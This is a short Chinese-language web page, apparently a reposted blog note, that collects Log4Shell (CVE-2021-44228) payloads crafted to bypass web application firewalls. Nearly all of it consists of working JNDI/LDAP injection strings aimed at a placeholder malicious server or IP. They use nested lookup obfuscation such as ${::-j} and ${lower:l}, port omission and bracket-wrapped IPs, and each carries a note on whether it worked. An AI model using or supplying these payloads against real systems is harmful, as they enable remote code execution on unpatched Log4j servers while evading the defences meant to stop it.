log4j waf 绕过技巧


原来的poc:

${jndi:ldap://malicious-ldap-server.com/a}

绕过的poc:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://example.com/a}

可行

${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}

不一定可行

${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}

可行

unico字符串

下列表达式均等价于abc:

a${:-b}c
a${::-b}c
a${E:-a}c
a${xxxanycodexxxx:-b}c

log4j poc集合
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis

● 不出现port,避免被waf匹配ip:port

${jndi:ldap:192.168.1.1/a}
 ${jndi:ldap:192.168.1.1:/a} 
注意此时需要ldap服务端口为389

● 对IP添加包裹
前面两个类的解析逻辑中都有对中括号[]的处理,所以给ip添加一下包裹

${jndi:ldap://[192.168.34.96]/a} 
${jndi:ldap://[192.168.34.96]]/a} 
 LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM